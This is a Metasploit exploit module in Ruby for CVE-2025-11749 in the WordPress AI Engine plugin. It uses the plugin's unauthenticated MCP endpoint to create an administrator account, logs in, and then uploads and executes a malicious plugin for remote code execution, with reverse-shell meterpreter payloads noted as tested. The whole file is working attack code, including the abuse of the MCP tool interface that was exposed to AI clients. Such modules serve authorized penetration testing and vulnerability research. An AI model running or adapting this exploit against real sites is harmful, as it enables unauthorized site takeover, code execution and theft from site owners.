WordPress AI Engine Plugin MCP Unauthenticated Admin Creation to RCE

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Payload::Php
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Wordpress

  prepend Msf::Exploit::Remote::AutoCheck

  ERROR_PATTERN = /already exists|username.*taken|user.*exists/i
  SUCCESS_PATTERN = /User (?:created|updated|#\d+ updated)|success|created/i

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress AI Engine Plugin MCP Unauthenticated Admin Creation to RCE',
        'Description' => %q{
          This module exploits an unauthenticated vulnerability in the WordPress AI Engine plugin
          (versions <= 3.1.3). The vulnerability allows an attacker to create an administrator account
          via the MCP (Model Context Protocol) endpoint without authentication. The module supports
          both `/wp-json/mcp/v1/` and `/?rest_route=/mcp/v1/` endpoints. Once an administrator
          account is created, the module uploads and executes a malicious plugin to achieve remote
          code execution (RCE).
        },
        'Author' => [
          'Emiliano Versini',                             # Vulnerability discovery
          'Khaled Alenazi (Nxploited)',                   # PoC
          'Valentin Lobstein <chocapikk[at]leakix.net>',  # Metasploit module
          'dledda-r7'                                     # Reviewer
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2025-11749'],
          ['URL', 'https://github.com/Nxploited/CVE-2025-11749']
        ],
        'DisclosureDate' => '2025-11-04',
        'DefaultTarget' => 0,
        'Privileged' => false,
        'Targets' => [
          [
            'PHP In-Memory',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
              # tested with php/meterpreter/reverse_tcp
            }
          ],
          [
            'Unix/Linux Command Shell',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ],
          [
            'Windows Command Shell',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD
              # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
            }
          ]
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [true, 'Username to create', Faker::Internet.username]),
        OptString.new('PASSWORD', [true, 'Password for the new user', Faker::Internet.password(min_length: 8)]),
        OptString.new('EMAIL', [true, 'Email for the new user', Faker::Internet.email])
      ]
    )
  end

  def check
    return CheckCode::Unknown('The target does not appear to be running WordPress') unless wordpress_and_online?

    plugin_check = check_plugin_version_from_readme('ai-engine', '3.1.4')
    return plugin_check if plugin_check == CheckCode::Safe

    @token = find_token
    return CheckCode::Safe('MCP token not found. Plugin may be patched or not configured.') unless @token

    CheckCode::Appears('The target appears to be a vulnerable version')
  end

  def exploit
    fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?

    @token ||= find_token
    fail_with(Failure::NotVulnerable, 'MCP token not found. Plugin may be patched or not configured.') unless @token

    username = datastore['USERNAME']
    password = datastore['PASSWORD']
    email = datastore['EMAIL']

    result = create_admin_user(@token, username, password, email)
    fail_with(Failure::UnexpectedReply, 'Failed to create administrator account.') if result == false

    if result == :user_exists
      print_warning('User already exists, updating password and continuing exploitation...')
      update_user_password(@token, username, password)
    end

    admin_cookie = wordpress_login(username, password)
    unless admin_cookie
      error_msg = 'Failed to log in to WordPress admin.'
      error_msg += ' User may exist with a different password.' if result == :user_exists
      fail_with(Failure::UnexpectedReply, error_msg)
    end

    upload_and_execute_payload(admin_cookie)
  end

  # REST API helpers
  def send_rest_request(rest_path, method: 'GET', data: nil)
    opts = {
      'method' => method,
      'ctype' => method == 'POST' ? 'application/json' : nil,
      'data' => data
    }

    uri = normalize_uri(target_uri.path, 'wp-json', rest_path)
    res = send_request_cgi(opts.merge('uri' => uri))
    return res if res&.code == 200

    vars_get = { 'rest_route' => rest_path }
    send_request_cgi(opts.merge('uri' => normalize_uri(target_uri.path), 'vars_get' => vars_get))
  end

  def find_token
    extract_token_from_routes(send_rest_request('/'))
  end

  def extract_token_from_routes(res)
    return nil unless res&.code == 200

    routes = res.get_json_document&.dig('routes')
    return nil unless routes.is_a?(Hash)

    mcp_regex = %r{^/mcp/v1/([^/]+)/sse$}
    routes.each_key do |route|
      next unless route.is_a?(String)

      match = route.match(mcp_regex)
      next unless match

      token = match[1]
      next if token == 'sse' || token.empty?

      return token
    end
    nil
  end

  # MCP API helpers
  def send_mcp_request(token, segments, method: 'GET', data: nil)
    path = "/mcp/v1/#{token}/#{segments.join('/')}"
    send_rest_request(path, method: method, data: data)
  end

  def build_mcp_payload(tool_name, arguments)
    {
      'jsonrpc' => '2.0',
      'id' => rand(1..999_999),
      'method' => 'tools/call',
      'params' => {
        'name' => tool_name,
        'arguments' => arguments
      }
    }.to_json
  end

  def send_mcp_tool_call_raw(token, tool_name, arguments)
    payload = build_mcp_payload(tool_name, arguments)
    res = send_mcp_request(token, ['sse'], method: 'POST', data: payload)
    return nil unless res
    return nil unless res.code == 200

    json_response = res.get_json_document
    return nil unless json_response.is_a?(Hash)

    json_response.dig('result', 'content')
  end

  def send_mcp_tool_call(token, tool_name, arguments)
    payload = build_mcp_payload(tool_name, arguments)
    res = send_mcp_request(token, ['sse'], method: 'POST', data: payload)
    return false unless res
    return true if res.code == 204
    return false unless res.code == 200

    json_response = res.get_json_document
    return false unless json_response.is_a?(Hash)

    error = json_response['error']
    return :user_exists if error.is_a?(Hash) && error['code'] == 'existing_user_login'
    return :user_exists if error.is_a?(Hash) && error['message']&.match?(ERROR_PATTERN)

    result_content = json_response.dig('result', 'content')
    return true if result_content&.any? { |item| item['text']&.match?(SUCCESS_PATTERN) }

    body = res.body.to_s
    return :user_exists if body =~ ERROR_PATTERN
    return true if body =~ SUCCESS_PATTERN

    false
  end

  # User management
  def get_user_id(token, username)
    arguments = {
      'search' => username,
      'search_columns' => ['user_login']
    }

    result_content = send_mcp_tool_call_raw(token, 'wp_get_users', arguments)
    return nil unless result_content.is_a?(Array)

    result_content.each do |item|
      next unless item.is_a?(Hash) && item['text']

      text = item['text'].to_s
      begin
        users = JSON.parse(text)
        users = [users] unless users.is_a?(Array)
        user = users.find { |u| u['user_login'] == username }
        return user['ID'].to_i if user && user['ID']
      rescue JSON::ParserError
        next
      end
    end

    nil
  end

  def create_admin_user(token, username, password, email)
    arguments = {
      'user_login' => username,
      'user_email' => email,
      'user_pass' => password,
      'role' => 'administrator'
    }
    send_mcp_tool_call(token, 'wp_create_user', arguments)
  end

  def update_user_password(token, username, password)
    user_id = get_user_id(token, username)
    return false unless user_id

    arguments = {
      'ID' => user_id,
      'fields' => {
        'user_pass' => password
      }
    }
    result = send_mcp_tool_call(token, 'wp_update_user', arguments)
    print_warning('Password update may have failed, attempting login anyway...') unless result
    result
  end

  # Payload execution
  def upload_and_execute_payload(admin_cookie)
    plugin_name = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
    payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}"

    zip = generate_plugin(plugin_name, payload_name)
    fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie)

    register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php")
    register_dir_for_cleanup("../#{plugin_name}")
    payload_file = "#{payload_name}.php"
    payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, payload_file)
    send_request_cgi('uri' => payload_uri, 'method' => 'GET')
  end
end